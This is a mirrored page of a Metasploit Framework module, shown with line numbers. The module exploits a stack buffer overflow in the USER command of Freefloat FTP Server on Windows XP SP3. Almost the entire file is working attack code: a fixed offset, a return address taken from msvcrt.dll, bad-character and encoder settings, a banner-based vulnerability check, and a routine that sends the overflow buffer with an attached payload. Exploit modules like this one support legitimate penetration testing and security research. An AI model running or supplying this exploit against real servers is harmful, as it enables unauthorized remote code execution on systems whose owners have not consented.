Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/freefloatftp_user.rb
19812 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Free Float FTP Server USER Command Buffer Overflow',
16
'Description' => %q{
17
Freefloat FTP Server is prone to an overflow condition. It
18
fails to properly sanitize user-supplied input resulting in a
19
stack-based buffer overflow. With a specially crafted 'USER'
20
command, a remote attacker can potentially have an unspecified
21
impact.
22
},
23
'Platform' => 'win',
24
'Author' => [
25
'D35m0nd142', # Original exploit
26
'Doug Prostko <dougtko[at]gmail.com>' # MSF module
27
],
28
'License' => MSF_LICENSE,
29
'References' => [
30
[ 'OSVDB', '69621'],
31
[ 'EDB', '23243']
32
],
33
'Privileged' => false,
34
'Payload' => {
35
'Space' => 444,
36
'DisableNops' => true,
37
'BadChars' => "\x00\x0a\x0d",
38
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
39
},
40
'Targets' => [
41
[
42
'FreeFloat / Windows XP SP3',
43
{
44
'Ret' => 0x77c35459, # push esp; ret - mscvrt.dll
45
'Offset' => 230
46
}
47
],
48
],
49
'DefaultTarget' => 0,
50
'DisclosureDate' => '2012-06-12',
51
'Notes' => {
52
'Reliability' => UNKNOWN_RELIABILITY,
53
'Stability' => UNKNOWN_STABILITY,
54
'SideEffects' => UNKNOWN_SIDE_EFFECTS
55
}
56
)
57
)
58
end
59
60
def check
61
connect
62
disconnect
63
if (banner =~ /FreeFloat/)
64
# Software is never updated, so if you run this you're f*cked.
65
return Exploit::CheckCode::Vulnerable
66
else
67
return Exploit::CheckCode::Safe
68
end
69
end
70
71
def exploit
72
connect
73
buf = rand_text(target['Offset'])
74
buf << [ target['Ret'] ].pack('V')
75
buf << rand_text(8)
76
buf << payload.encoded
77
send_user(buf)
78
disconnect
79
end
80
end
81
82